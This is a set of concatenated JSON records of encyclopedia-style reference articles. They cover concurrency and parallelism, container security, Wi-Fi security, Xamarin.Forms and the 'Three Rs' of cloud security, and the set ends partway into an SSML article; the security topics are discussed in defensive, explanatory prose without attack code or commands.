CPU availability. \n\nIn modern parallel processing systems, the NIC supports multiple queues, so thread states don't need to be transferred between cores/CPUs. One thread per core will receive, multiple threads per core will process. Event-based programming and asynchronous IO access are used. \n\n\n### What are the prevalent parallel processing techniques in today's data intensive real-world systems?\n\nThe key to implementing parallel computing systems is designing sub-tasks and operations independent of each other. Except for start and end of each task, there should be no data dependency. Tasks involving a lot of data transfer/communication between them are difficult to parallelize. \n\nParallel computing may be done using three different kinds of hardware platforms - multicore systems, clusters and graphics processing units (GPUs). Parallelisation at the software deployment level happens using containerised applications and virtualization techniques. \n\nFor instance, Kubernetes supports allocating different amounts of memory and CPU for each container. So complex multi-threaded algorithms (like XGBoost) can get more resources compared to single-threaded algorithms (such as LogisticRegression from sklearn). We can make the most of our resources, minimise cost and run more pipelines simultaneously. \n\nA popular parallel programming model for processing big datasets is MapReduce. Blocks of data are processed in parallel via these steps: Read data in blocks → Map them as key-value pairs → Reduce the data by performing summary operations → Write the reduced data into storage systems. \n\n\n### What languages provide for concurrency and parallelism?\n\nConcurrent programming languages use the concept of simultaneously executing processes or threads as a means of structuring a program. A parallel language allows programming constructs executable on more than one processor. Concurrency programming techniques may be used in parallel programs too but not a must. The taxonomy of parallelism involves instruction stream and data stream. \n\nThe three main components in these languages are:\n\n    + Performance computing (concurrent execution for CPU resource optimization)\n    + Distributed computing (parallel CPUs to be controlled and utilized)\n    + Systems programming (basic OS/hardware management)The different languages can be categorised as follows:\n\n    + Object-Oriented Parallelism: Presto, Orca, Nexus, Java, High Performance C++\n    + Shared Memory Languages: Linda, Orca, SDL, PThreads, Java\n    + Distributed Memory Paradigms: Parallel Virtual Machine (PVM), MPI, Concurrent C, Ada, Fortran M, C\\*\n    + Message Passing: Rust, SmallTalk, Go\n    + Parallel Logic Systems: Concurrent Prolog, GHC, Strand\n    + Parallel Functional Languages: LISP, MultiLISP, SISAL\n    + Frameworks and APIs: Apache Hadoop, Spark, Beam, OpenCLIn some cases, concurrency or parallelism features may be provided as a library extension and not part of the main language (Eg. POSIX thread library).\n\n## Milestones\n\n1960\n\nAn academic study of concurrent algorithms starts as early as the 1960s, with Dijkstra (1965) credited with publishing the first paper in this field, identifying and solving mutual exclusion. \n\n1985\n\nA new kind of parallel computing is launched by the Caltech Concurrent Computation project by building a supercomputer for\r scientific applications from 64 Intel 8086/8087 processors. These massively parallel processors (MPPs) dominate the top end of computing. \n\n1995\n\nMathematical models to analyse concurrent systems performance and complexity in the form of Petri nets are published in a critical research paper by Esparza and Nielsen. \n\n1999\n\nNVIDIA invents the **Graphics Processing Unit (GPU)** as a symmetric multicore parallel processor separate from the CPU. \n\n2001\n\nIBM introduces the first multicore processor VLSI chip with two 64-bit microprocessors comprising of more than 170 million transistors. \n\n2002\n\nIntel adds support for simultaneous multithreading to the Pentium 4 processor, under the name **hyper-threading**. Until then most desktop computers had only one single-core CPU, with no support for hardware threads. \n\n2004\n\nParallel data processing in large clusters becomes possible using the **MapReduce** parallel programming model. \n\n2014\n\nContainer management platforms such as **Kubernetes** enter the market specialising in handling clusters for scalable cloud-based solutions. \n\nSep  \n2014\n\nAt a Stanford seminar, Joe Armstrong, the creator of Erlang programming language, notes that engineering **fault tolerant and scalable systems** require understanding of distributed, parallel, concurrent computing.","meta":{"title":"Concurrency vs Parallelism","href":"concurrency-vs-parallelism"}}
{"text":"# Container Security\n\n## Summary\n\n\nWith the wide adoption of container-based applications, systems became more complex and security risks increased. This laid the groundwork for container security. Vulnerabilities like dirty copy-on-write only furthered this thinking. This led to a shift left in security along the software development lifecycle, making it a key part of each stage in container app development, also known as **DevSecOps**. The goal is to build secure containers from the ground up without reducing time to market.\n\nDevOps practice has enabled faster release cycles. At runtime, an application may dynamically scale to hundreds or even thousands of containers. It's impossible to have manual policies to secure these containers. Moreover, a production environment involves many layers such as images, registries, orchestrators and container runtimes. Hence, traditional security practices can't be directly applied to securing containers.\n\n## Discussion\n\n### Which are the basic security mechanisms that come with containers?\n\nIn terms of filesystem, networking and processes, containers are isolated from one another using **namespaces**. To control access to resources such as CPU and RAM, there's **cgroups**. \n\nTo control kernel calls from a container, we use Linux kernel features called **capabilities** and **seccomp**. Capabilities provides fine-grained access control such as denying \"mount\" operations or access to raw sockets. Even if someone gains root access within a container, the damage they can do is limited. Secure computing mode (seccomp) disables access to system calls except those allowed. Both these adopt a whitelist approach. \n\nRed Hat distributions comes with SELinux while Debian distributions come with AppArmor. Both these are security modules that provide access control by implementing **Mandatory Access Control (MAC)**. Only users and processes with sufficient permissions can perform various actions. The access policies can't be changed by users. \n\nWe can also run the kernel with GRSEC and PAX to provide extra compile-time and runtime safety checks. \n\n\n### Is it okay to run my process with root access within the container?\n\nSome processes running on typical servers run with root privileges. Examples are SSH daemon, cron daemon, logging daemons, kernel modules, and network configuration tools. It may therefore appear that these processes need to run with root privileges inside a container. In reality, such tasks are handled by the infrastructure surrounding the container such as the host machine or the container platform. Even when a specific process needs root privilege, limit access using *capabilities*. \n\nIn general, stick to the **principle of least privilege**. Don't give more permissions than needed. One way to implement this is to use known user ID and group ID that have the minimum required privileges. An alternative available in Docker is to use a command-line option; example, `docker run --user 1001 ...`, which avoids root access. \n\nMost processes inside containers are app services and should not require root access. Docker itself requires root access but not the containers. \n\n\n### What are the various security threats facing containers?\n\nNIST has identified key threats to containers:  \n\n    + **Image**: An image may lack security updates or become outdated, particularly when security bugs have been discovered after the image was created. Image may contain a misconfiguration, such as running a command with a greater privilege than needed. Image may include malware, particularly when a base layer comes from a third party or untrusted source. Secrets such as SSH private keys may be in the image as clear texts.\n    + **Registry**: Images stored at registries may be stale. Registries themselves can be compromised. Pulling images over insecure connections is also an issue.\n    + **Orchestrator**: If access privileges are not properly scoped, users can access and affect containers that don't belong to them. Wrong configurations may allow unauthorized nodes to join a cluster.\n    + **Container**: At runtime, a malicious software can affect other containers or the host OS. App vulnerabilities can affect the container. Unplanned or unsanctioned containers, especially in a development environment, are a risk.\n    + **Host**: The host itself has an attack surface. Because the kernel is shared, runtime isolation is not as high as that of hypervisors.\n\n### What are some best practices to secure containers?\n\nWe list some industry best practices to secure containers:\n\n    + Called image provenance, have a system such as *Docker Content Trust* to identify the source of an image that's running in production.\n    + Containers must run with minimum resources and privileges. Use *AppArmor* or *SELinux* to enforce access control. Perhaps the most important advice is to not use root privilege to run the container's main process.\n    + At runtime, detect threats and respond to the same automatically.\n    + Vulnerability scanning, regular auditing, and software updates must be automated.\n    + Since containers are not permanent, traditional operational models may not work. Organizations may have to formalize new models.\n    + Use *Docker Bench for Security* to know if you're following best practices around container deployment.\n    + Minimize the use of third-party images and use only signed images.\n    + Mount the host filesystem as read-only or disable UNIX sockets, thus limiting access to an attacker.\n\n### Isn't it better to use VMs instead of containers for better security?\n\nContainers offer only software-based isolation using namespaces and cgroups. Multiple containers share the same kernel. If one container is compromised, the attacker can potentially gain access to other containers on the host. This is where the hypervisor layer of VMs provides hardware-enforced isolation. \n\nBut it's possible to mix both VMs and containers. By running multiple containers inside a VM, we get the performance of containers without sacrificing the security of hypervisor. It's common among cloud providers to isolate tenants using VMs. For greater security, we can use VMs to separate containers that need to run at different security levels. For example, a billing service may run at a higher security level compared to a user-facing web service. \n\nJoyent and IBM isolate tenants by running containers on bare metal without using VMs. Hyper, Intel and VMware are building fast VM-based frameworks with the aim of getting the best of both worlds. The idea is to secure a container without the bloat of a VM. This is being called **Kata Containers**. It uses *runV* container runtime. \n\n\n### Which tools can help me secure my containers?\n\nWhile container platforms and containers themselves offer a basic level of security, this isn't enough. There's a need to scan container images or monitor a running container. There are many vendors offering products that do these. Some of them are Alert Logic, Anchore, Aporeto, Aqua Security, Capsule8, NeuVector, Qualys, StackRox, Sysdig, and Twistlock. \n\nAny good tool should have visibility of containers, images and host processes. It should validate container signatures. It should alert when there are image drifts. It should monitor slaves and masters of Swarm or Kubernetes clusters. Tool should have an easy-to-use dashboard. It should make use of image metadata to enable filtering by labels and tags. It should classify threats by severity and priority. Select a tool that integrates well with your CI/CD pipeline. \n\nGoogle's Container Registry vulnerability scanning, Red Hat's Atomic Scan, IBM's Bluemix Vulnerability Advisor, CoreOS Clair, Docker Security Scanning, Aqua Security's Peekr, and Twistlock Trust can do security scanning. Runtime threat detection and response are offered by Aqua Security, Joyent Triton SmartOS, Twistlock and Red Hat OpenShift. \n\n## Milestones\n\nAug  \n2015\n\n**Docker Content Trust (DCT)** is released as a new feature in Docker Engine 1.8. This adds a digital signature to an image before it's pushed to the registry. When images are pulled, the signatures are verified. Through the implementation of The Update Framework (TUF), rollback attacks and freeze attacks are also prevented. \n\nOct  \n2016\n\nBy using a vulnerability in the Linux kernel, called Dirty Copy-on-Write or CVE-2016-5195, one researcher creates an exploit that achieves **container escape**, essentially allowing the attacker to do things outside the container. The exploit uses Linux's virtual Dynamic Shared Object (vDSO). \n\nSep  \n2018\n\nGoogle launches beta version of **Container Registry vulnerability scanning**. This helps within a CI/CD pipeline and prevents deployment of images that have vulnerabilities. \n\nJan  \n2019\n\nTwo researchers discover a way to escape from a container into the host system and obtain root privileges. This is possible with a compromised container even if it's using the default or hardened configuration. The exploit overwrites `docker-runc` binary on the host with malicious software. This bug in runc, called CVE-2019-5736, affects Docker and other container platforms. A patch is released in February.","meta":{"title":"Container Security","href":"container-security"}}
{"text":"# Wi-Fi Security\n\n## Summary\n\n\nWi-Fi security has been a concern due to the wireless nature of access. With wired networks such as Ethernet, a hacker needed physical access to the equipment. With Wi-Fi, attacks can be launched in a vicinity where the signal can be picked up. It's therefore important to not only control who is allowed to get into a Wi-Fi network but also protect all data that's being exchanged over the network. With the coming of IoT, Wi-Fi security is likely to be more important than ever before.\n\nAttacks on Wi-Fi can be passive such as sniffing the radio channels to pick up useful information. It can be more active such as a rogue device impersonating as an authentic access point or client. Wi-Fi security needs to address all these aspects.\n\n## Discussion\n\n### What does security mean in the context of Wi-Fi?\n\nWi-Fi security can be seen in two aspects:\n\n    + Authentication: This controls who is allowed to log into the network. Wi-Fi clients have to provide the right credentials to connect to an access point (AP). This is usually a password but more sophisticated methods are possible using Extensible Authentication Protocol (EAP) and IEEE 802.1x. A Wi-Fi password is also called passphrase or Network Security Key. From the perspective of authentication, a client is also called supplicant.\n    + Encryption: Data is encrypted so that others cannot read it.Authentication and encryption are sometimes called \"security\" and \"privacy\" respectively. These are implemented at the MAC layer, meaning that protection is only between the client and the access point. What's also important is end-to-end security. Keeping your data and network secure usually involves more than just Wi-Fi. Security protocols can be employed at different layers. IPsec protects data at the IP layer. TLS and SSL protect data at the transport/session/application layers. SSH protects data at the application layer. For browsing webpages in a secure manner, HTTPS relies on SSL/TLS. In addition, firewalls, VPNs and anti-virus software can be used. \n\n\n### What steps can I take to secure my Wi-Fi network?\n\nThe following are best practices for a secure Wi-Fi network:\n\n    + A Wi-Fi router or access point will come with default SSID and password. Change these to non-default values. Use a strong password.\n    + Periodically change the network password.\n    + Enable encryption. The use of WPA2-AES is recommended. Use a Wi-Fi CERTIFIED product since it's certified for WPA2 support.\n    + Since WPS is a security risk, disable this feature completely.\n    + Router manufacturers often release updates including security enhancements or patches. Update your router with the latest firmware releases.\n    + Allow administrative web access to your router via HTTPS and block HTTP access. Disable wireless admin access. In addition, disable remote management, so that settings can be changed only by someone with physical access to the router. Change admin credentials to non-default values. Use a strong admin password.\n    + Restrict the signal to within your house by using anti-Wi-Fi paint.\n\n### What are some myths about Wi-Fi security?\n\nHere are some things you can do but these are not going to make your network more secure since tools exist to overcome them: \n\n    + Disable broadcast of SSID to prevent casual folks from trying to connect to your access point.\n    + Configure access point to allow connections from a whitelist of known clients. This is usually specified with client MAC address.\n    + Disable DHCP and allocate IP addresses to a limited range.\n    + Reduce the range of the Wi-Fi signal but a hacker will probably use a higher gain antenna.\n\n### What precautions can I take to secure my Wi-Fi client and its data?\n\nThe following are recommended:\n\n    + Don't allow automatic connections to open Wi-Fi access points. These access points may be potentially dangerous. In other words, enable WPA2 security. Or configure client to prompt the user for approval before connecting.\n    + Disable clients from sending out probes looking for an available access point.\n    + If a client has highly sensitive data, you can allow it to connect only to a whitelist of access points.\n    + Disable sharing of your connection to other devices nearby, particularly when using a public AP.\n    + Use a VPN so that data is always encrypted before it leaves your device. This way, a rogue AP will be rendered useless even if Wi-Fi connection has been compromised.\n\n### Which security protocol should I choose?\n\nYou should use the latest standards, WPA3-Personal or WPA3-Enterprise. On older devices, use Wi-Fi Protected Access II (WPA2) together with Advanced Encryption Standard (AES). For home or personal use, use WPA2-PSK, where PSK implies pre-shared key (usually called password). WPA2-Enterprise is used when the network supports additional methods of authentication. Wi-Fi Alliance has branded IEEE 802.11i as WPA2. WPA may be seen as a partial implementation of IEEE 802.11i. \n\nHistorically, Wi-Fi security protocols include WEP (Wired Equivalent Privacy), WPA, WPA2 and WPS (Wi-Fi Protected Setup). WEP and WPS are no longer secure. WPA was designed to replace WEP on old device hardware. \n\nEncryption methods and integrity checks are also important. WEP uses RC4 stream cipher for encryption and CRC32 for integrity check. WPA uses RC4 (or AES if supported by device) but enhances it with Temporal Key Integrity Protocol (TKIP); and it uses a 64-bit Message Integrity Check (MIC) named MICHAEL. WPA2 uses AES, which is secure. More accurately, an AES-standard named CCMP is used. \n\nThe use of WPA and TKIP can limit the performance of your router. There are known attacks against TKIP. \n\n\n### Are there any known vulnerabilities with WPA2?\n\nIn October 2017, \"key reinstallation attacks (KRACKs)\" were used successfully to read sensitive information previously assumed to be encrypted. This was not merely an implementation bug but a flaw in the WPA protocol itself. When a client wants to join a Wi-Fi network, it does a handshake that includes initialization of cryptographic keys. In this attack, the client can be tricked to reuse existing keys as well as reset counters to their initial values. \n\nKRACK may include arbitrary packet decryption and injection, TCP connection hijacking, HTTP content injection, or the replay of unicast and group-addressed frames. Vendors are known to provide updated firmware that fixes the KRACK vulnerability. \n\nWPA3 replaces WPA2 as the latest Wi-Fi security standard. Cisco has stated that they will offer WPA3 on older devices via a firmware upgrade. \n\n\n### What is WPS and should I use it?\n\nWi-Fi Protected Setup (WPS) was introduced into the Wi-Fi standard to simplify the setup process. Rather than enter long passwords, an 8-digit pin is used to connect a client to the access point. WPS has a few different ways that require either physical or admin access to the devices. The 8-digit pin is usually mentioned on the device hardware, be it client or router or both. \n\nThe use of WPS is not recommended. Vulnerabilities in WPS were discovered in 2011 and a brute force attack is enough. A simple explanation of how this attack works is given by Paul Ducklin. In one case, the attack succeeded in just six hours. \n\n\n### Can you name some well-known attacks on or using Wi-Fi networks?\n\nIn 2003, an open Wi-Fi network of Lowe's became the entry point for two hackers. They accessed servers across seven US states and crashed a PoS system. In 2004, BJ's was hacked and credit card numbers were stolen. This was due to unencrypted networks and use of default credentials. BJ's incurred legal costs of about $10 million. In 2005, GE Money in Finland lost 200,000 Euros due to an unprotected Wi-Fi. In 2007, hackers exploited WEP's weaknesses and stole credit card numbers from Marshalls department store in St. Paul, Minnesota. \n\n\n### What tools or products exist to snoop a Wi-Fi network or audit its security?\n\nFor scanning the airwaves for 802.11x traffic we have Wireshark, inSSIDer, Kismet, Pwnie Express Pwn Pro, and Netstumbler. Airsnarf is one tool to impersonate an access point. Airpwn can be used to inject packets at the access point and fool the client. Airsnort and Aircrack are for attacking WEP. To simply jam the radio spectrum, Wave Bubble is one device. Aircrack and coWPAtty can be used to attack WPA. To spoof a MAC address, Nmap and MAC Shift are handy. To know if there's an unauthorized access in your network, AirSnare is useful. Default passwords for well-known products are listed publicly. \n\n## Milestones\n\n1999\n\nWEP is standardized as the security protocol for Wi-Fi. \n\n2001\n\nBerkeley researchers discover vulnerabilities in WEP. \n\n2003\n\nWPA is ratified by Wi-Fi Alliance as a replacement to the vulnerable WEP. \n\n2004\n\nDue to WPA's weak integrity check using MICHAEL, WPA2 comes out. It's a complete implementation of IEEE 802.11i standard. \n\nMar  \n2006\n\nWi-Fi Alliance requires that all devices must be WPA2 certified in order to use the Wi-Fi trademark. \n\nJan  \n2007\n\nWPS is officially launched by Wi-Fi Alliance. \n\nDec  \n2011\n\nWPS is found to be vulnerable to brute force attacks. There are design flaws in WPS and also implementation flaws in many popular Wi-Fi routers. \n\nJun  \n2018\n\nWi-Fi Alliance releases WPA3 that aims to \"simplify Wi-Fi security, enable more robust authentication, and deliver increased cryptographic strength for highly sensitive data markets\". This is a welcome news given that WPA2 was compromised in October 2017. \n\nApr  \n2019\n\nResearchers discover vulnerabilities in WPA3's Dragonfly key exchange. These vulnerabilities are collectively termed **Dragonblood**. Wi-Fi Alliance announces an update to the WPA3 to fix these vulnerabilities. Vendors can push this to existing devices via a software update.","meta":{"title":"Wi-Fi Security","href":"wi-fi-security"}}
{"text":"# Xamarin Forms\n\n## Summary\n\n\nIn traditional app development process, developers had to write code for iOS, Android and Windows platform separately. They had to maintain the codebase of each platform for the maintenance and upgradation process. It was a heavy time and money consuming task. Xamarin solved this problem to a great extent by providing the facility of backend code sharing across the platforms. It allowed developers to create the business logic once and share it across the iOS, Android and Windows platform. Eventually, Xamarin.Forms was developed to allow the developers to share the code of user interface of app across the platforms and make the development process easier.\n\nXamarin.Forms is an open source cross-platform UI development framework. It allows developers to build Android, iOS and Windows application from a single shared codebase. It supports C# language. Visual Studio is the recommended IDE for Xamarin.Forms.\n\n## Discussion\n\n### How does Xamarin.Forms work?\n\nA Xamarin.Forms application is designed similarly as a traditional cross-platform application. Shared code is usually placed in a .NET Standard library and platform-specific applications consume the shared code. \n\nXamarin.Forms applications have a single class named App that instantiates the application on each platform. The *AppShell* class defines the visual hierarchy of the application. Shell uses this visual hierarchy to produce the user interface of the app. \n\nAt runtime, Xamarin.Forms uses platform renderers to convert the cross-platform UI elements into native controls on Android, iOS and Windows devices. It enables the developer to give the native look, feel and user experience to the application while using the feature of code-sharing across platforms. \n\n\n### What are the benefits of Xamarin.Forms?\n\nIt allows developers to create native UI layout and designs across platforms using a single shared codebase which reduces the time and money deployed in the development process . It allows developers to share code, test and business logic of app across multiple platforms. It reduces the overhead of managing different codebases for app due to separate code for different platforms.\n\nIt's been claimed that while Xamarin enables 70% code sharing, Xamarin.Forms allows up to 95% code sharing. It's best for apps where code sharing is more important than custom UI. One team reported that with Xamarin.Forms they had only 135 lines of platform-specific code out of 3744 lines (96% reuse). Earlier with Xamarin the team had achieved 80% code reuse. \n\nPGS Software implemented European airline Volotea's mobile app in Xamarin.Forms. With Forms, consistent branding and styling were achieved across iOS and Android. With Forms, 70% of custom renderers were removed. \n\n\n### What platforms are supported in Xamarin Forms?\n\nXamarin.Forms is used for making mobile apps (iOS or Android) and Universal Windows Platform (UWP) apps. UWP enables creation of apps that can run on any device with Windows 10 or 11. Visual Studio is the recommended IDE for it. For iOS, Xamarin.Forms applications can be written for iOS 9 or higher versions. For Android, apps can be written for Android 4.4 (API 19) or higher but Android 5.0 (API 21) is recommended as minimum API for full compatibility with all the Android supported libraries. For Windows platform, Windows 10 Universal Windows Platform, build 10.0.16299.0 or greater for .NET Standard 2.0 support. However, build 10.0.18362.0 or greater is recommended. \n\nApart from iOS, Android and Windows Xamarin.Forms supports platforms including Samsung Tizen, macOS 10.13 or higher, GTK# and WPF. Windows 8.1 / Windows Phone 8.1 WinRT and Windows Phone 8 Silverlight are deprecated platforms for Xamarin.Forms version 3.0 or newer. \n\nTo Develop for iOS platform on Windows computer, there must be a Mac computer accessible on the network because Apple's build tools are required to build native iOS apps, which run on Mac only. So, Visual Studio should be connected to a network-accessible Mac. \n\n\n### What are some essential terms used in Xamarin.Forms?\n\nBelow are some essential terms used in Xamarin.Forms-\n\n    + **Views**: Views are the basic building blocks of the user interface. Labels, buttons, and sliders are different types of views. Different views serve different purposes such as setting values and editing text.\n    + **Layouts**: Layouts are the visual structure of the user interface. Layouts are containers for views and other layouts. Layouts and views derive from the *View* class. Layouts are also views containing a collection of child views.\n    + **Effects**: Effects are used to customize the controls accordingly without implementing custom Renderer classes. They should be used when a small styling change is required. While, Custom renderers are better option for creating a new control.\n    + **Gestures**: Gesture recognizers are used to detect user interaction with views in a Xamarin.Forms application. The Xamarin.Forms GestureRecognizer class supports tap, pinch, pan, swipe, and drag and drop gestures on View instances of the app.\n    + **Triggers**: Triggers are used to define the actions in XAML after a certain events or property changes. State triggers are a specialized group of triggers that define when a VisualState should be applied.\n\n### What are the key building blocks of Xamarin.Forms?\n\nThe key building blocks of a Xamarin.Forms application are as follows:\n\n    + **Xamarin.Essentials**: Essentials provides a single cross-platform API that can work with any Xamarin.Forms, Android, iOS, or UWP application accessible from shared code regardless of how the user interface is created.\n    + **eXtensible Application Markup Language (XAML)**: XAML is used for instantiating and initializing objects and organizing those objects in a hierarchical way. In XAML, developers can use all the Xamarin.Forms views, layouts, pages as well as custom classes to create the UI. It is very brief and readable than the equivalent code.\n    + **Behaviors**: Behaviors allows to add functionality to the user interface controls without extending to any other class. The functionality is already implemented in the behavior class so developers only need to attach it to the controls. They are created by deriving from the Behavior or Behavior<T> class.\n    + **Data binding**: It is used to keep the objects synchronized so that changes in one object's property are automatically reflected in other related object's property. It is an important part of the Model-View-ViewModel (MVVM) application architecture.\n\n### What are the code-sharing techniques in Xamarin Forms?\n\nThe.NET Standard Libraries and Shared Projects are two main methods of code-sharing. Developers can use a large number of .NET APIs to share the code across multiple platforms. .NET Standard 1.0 - 1.6 provides larger sets of APIs, whereas .NET Standard 2.0 provides the best coverage of the .NET Base Class Libraries (including the .NET APIs available in Xamarin apps). . In the shared projects method, a project is shared containing all the code files and assets of the app. Separate application projects for iOS, Android and Windows are shared inside the shared project. The common code for all the platforms also resides in the shared project. \n\nPortable Class Libraries allow developers to choose the combination of platforms for their project. However, Portable Class Libraries are deprecated in the latest version of Visual Studio, and .NET Standard Libraries are recommended instead. \n\n\n### What are platform-specific features and how to create them?\n\nA platform may have features and functionalities that doesn't exist on other platforms. For instance, Android has a functionality of fast scrolling in a list view but iOS doesn't have the same. Xamarin.Forms platform-specifics allow developers to utilize such platform-specific functionality that is only available on a specific platform without creating custom renderers or effects. There are some built-in platform-specifics in Xamarin.Forms, developers can use them or create the platform-specifics by themselves. Below are the steps for creating a platform-specific -\n\n    + Implement the specific functionality as an Effect.\n    + Create a platform-specific class that will use the Effect.\n    + Make an attached property in the platform-specific class to allow the platform-specific to be used through XAML.\n    + Implement extension methods in the platform-specific class, to allow the platform-specific to be used through a fluent code API.\n    + Set the effect implementation to be applied only when the platform-specific has been invoked on the same platform as the Effect.Using an Effect as a platform-specific makes the effect easily consumable through XAML and a fluent code API. \n\n\n### What are the shortcomings of Xamarin forms?\n\nThough Xamarin.Forms can create a native UI for different platforms but it is not the best choice for creating native UI of complicated apps or apps that use more native functionalities such as camera, bluetooth.  Also, the file size of Xamarin.Forms app is comparatively greater than the native ones. It is not a good choice for building games.\n\n\n### As a beginner, how do I get started with Xamarin.Forms?\n\nXamarin.Forms has a complete documentation and code samples. There are many resources to learn Xamarin.Forms provided by the Microsoft, including:\n\n    + Complete official documentation\n    + Xamarin.Forms book\n    + Xamarin.Forms tutorials\n    + Code samples\n    + Question/Answer communityA beginner should use Xamarin.Forms Shell for the mobile app development. Xamarin.Forms Shell provides a common navigation user experience, a URI-based navigation scheme, and an integrated search handler. Thus, it makes the app development process easier. \n\n## Milestones\n\n2011\n\nEngineers who had created Mono, launch a new company named **Xamarin**. Mono itself was an open source project started in 2001 to bring .NET applications to Linux. \n\n2014\n\nXamarin.Forms is created, enabling a single user interface to be used for different platforms. **Xamarin.Forms 1.0.6197** is released as a bug fix release.\n\nApr  \n2018\n\n**Xamarin.Forms 2.5.1** is released. Multiple issues such as BindingContext object not being passed through CommandParameter and app crash while navigating to a TabbedPage are solved. \n\nMay  \n2018\n\n**Xamarin.Forms 3.0.0** is released. Flex layout is released. It's optimized for UI to adapt to various screen sizes and dimensions. Support for right to left languages is released. Developers can now create and customize Styles using CSS. VisualStateManager can now be used to handle different states of controls. \n\nMay  \n2020\n\nAt the BUILD 2020 conference, Microsoft announces **.NET Multi-platform App UI (MAUI)**. This is meant as an evolution of Xamarin.Forms. Xamarin.Forms 5.0 will be the last major release before .NET MAUI. \n\nNov  \n2020\n\n**Xamarin.Forms 4.5.0.725** (4.5.0 Service Release 6) is released. Xamarin.Forms now uses the latest AndroidX libraries from Google instead of Android Support libraries. \n\nJul  \n2021\n\n**Xamarin.Forms 5.0.0.2337** (5.0.0 Service Release 9) is released. The release includes several new controls and features including App Themes (Dark Mode), Brushes, CarouselView, RadioButton, Shapes and Paths, and SwipeView. Visual Studio 2017 is no longer supported.","meta":{"title":"Xamarin Forms","href":"xamarin-forms"}}
{"text":"# Three Rs of Security\n\n## Summary\n\n\nSecurity is an important concern in all computer systems. This is more so with complex enterprise systems deployed on cloud infrastructure. An application composed of dozens of microservices running hundreds of containers across multiple nodes is hard to secure without good guiding principles.\n\nThe methodology of three Rs—**Rotate**, **Repave** and **Repair**—offers a simple approach towards greater security of your cloud deployments. The basic idea is to be *proactive* than be *reactive* as seen in traditional enterprise security. Speed is of essence. The longer a deployment stays in a given configuration, the greater is the opportunity for threats to exploit any vulnerabilities.\n\n## Discussion\n\n### What problem does the three Rs model solve?\n\nWith DevOps, it's become possible to deliver software faster. Yet security is one aspect that's been slow to change. This is often seen in firewall rules, long-lived credentials, and hard-to-update databases. The choice is between moving quickly and accept the associated risks; or moving slowly to mitigate risk. Often, enterprises choose to move slow. \n\nIn 2016, the U.S. Intelligence identified cyberthreats as a greater threat than terrorism or traditional weapons of mass destruction. Enterprises are spending a lot on securing endpoints and networks. Yet, Gartner's research shows that 70% of vulnerabilities are in the application layer. \n\nThe basic premise of the three Rs model is that the more time you give to attacks, the more opportunity they get to cause some serious damage. So it's best to embrace change and move quickly. It's been said that, \n\n> To get safer, you have to go faster, and that is the exact opposite of how organizations work today.\n\n\n### Could you explain each of the three Rs?\n\nThe three Rs of security are the following: \n\n    + **Rotate**: Rotate datacenter credentials every few minutes or hours. Credentials could be passwords, certificates, access tokens, etc.\n    + **Repave**: Repave every server and application in the datacenter every few hours from a known good state. Rather than patch a particular software, patch the whole stack. Destroy old VMs and containers and recreate from a known good state. Use rolling deployments to minimize downtime.\n    + **Repair**: Repair vulnerable operating systems and application stacks consistently within hours of patch availability.The idea is to give attacks less time to snoop around and learn about your system. It's feasible to adopt the three Rs today due to cloud-native architectures and continuous deployments. In fact, it may no longer be a badge of honour to claim that your server has been running for years without a reboot. From a security perspective, it's better to limit the maximum uptime of a server. \n\n\n### How are the three Rs of security related to DevOps?\n\nDevOps is a combination of people, processes and tools that enables teams to deliver software faster. Teams don't work in silos. A DevOps workflow that includes security is what we call **DevSecOps**. DevSecOps attempts to include security concerns at all stages of a development workflow. \n\nThe three Rs model may be seen as a subset of DevSecOps. Security at the application layer can never be perfect. The solution is to mitigate the risks during operations. DevOps already includes a wealth of tools and automation. These can be used to implement the three Rs model.\n\n## Milestones\n\nApr  \n2016\n\nJustin Smith, a security expert at Pivotal, blogs about the three Rs model. In May, he presents the model at the Cloud Foundry Summit in Silicon Valley. At about the same time, a news article on The New Stack names the three Rs as Cloud Foundry's security strategy. \n\nNov  \n2017\n\nThe three Rs model makes it to the *Technology Radar* of ThoughtWorks. They note that this is feasible because of cloud-native architectures. Apps must be designed to be resilient to failures. \n\nMar  \n2018\n\nThe use of the three Rs model at the network edges, including embedded or IoT devices, is discussed. Many devices are still being deployed with default passwords. Rotating credentials at the edge is a challenge. \n\nJun  \n2018\n\nThe three Rs model is presented at Devoxx Poland conference. This indicates a growing awareness of the model within the developer community.","meta":{"title":"Three Rs of Security","href":"three-rs-of-security"}}
{"text":"# Speech Synthesis Markup Language\n\n## Summary\n\n\nSpeech synthesis is the process of producing natural-sounding human speech from text so that humans can interact with machines via voice interfaces. Typical applications are reading for the blind, speaking aids for the handicapped, remote access to email, proofreading and so on. Speech synthesis system consists of analysis of input text, followed by synthesis of speech. \n\nThere are inherent difficulties in these systems. They don't handle symbols or foreign words suitably. Some systems translate leading whitespaces into extra pauses. Some words may need extra stress or change of pitch. It's for these purposes that **Speech Synthesis Markup Language (SSML)** becomes useful. \n\nSSML adds markup on input text to aid speech synthesizers construct speech waveforms that sound more natural. SSML is a W3C standard, though some implementations have proprietary extensions. Popular voice assistants (Alexa, Assistant, Cortana) are known to use SSML.\n\n## Discussion\n\n### Which are the main features of SSML?\n\nSSML has many useful features to make synthesized speech sound more natural: \n\n    + **Voice**: Different parts of a text could use different voices (male/female/neutral), which is useful for reading out dialogues.\n    + **Variations**: Some words could be emphasized. Others could be stretched in time. Some phrases could be said in a high pitch. Swear words could be censored.\n    + **Special Cases**: Telephone numbers could be read out as individual digits. Date and time fields should not be read out as individual digits. Abbreviations could be expanded or read out as individual letters.\n    + **Pauses**: Pauses could be introduced, for example, to suggest the speaker thinking or expecting a response.\n    + **Recording**: A recorded audio file can be played, and if unavailable, an alternate text could be synthesized.\n    + **Multilingual**: A default language could be specified at the root level. This can be overridden for specific foreign language phrases.\n\n### Where does SSML fit in the overall speech synthesis process?\n\nMost text-to-speech (TTS) engines process their input in stages: structure analysis, text normalization, text-to-phoneme conversion, prosody analysis and waveform production. All of these can be enhanced by SSML elements. For example, `p` and `s` SSML elements mark paragraphs and sentences; `say-as` is useful for rendering special cases; `sub` for expanding abbreviations; and so on. \n\nText normalization converts text into tokens suitable for speech. For example, '$200' would be converted to 'two hundred dollars'; '1/2' would become 'half'; and 'AAA' would become 'triple A'. These tokens are then converted into units of sounds called **phonemes**. \n\nTo speak all words in the same tone or loudness, creates monotony. **Prosody** is therefore useful to make speech more natural and intelligible. It draws attention to certain words by way of emphasis. Prosody is about volume, pitch, and rate of speech. We can specify duration of a word and its pitch contour. \n\n\n### What exactly is a phoneme and how does SSML use it?\n\nOnce tokens are obtained via text normalization, the synthesizer must replace each token with a sequence of phonemes. A **phoneme** is a unit of sound that distinguishes one word from another. For most 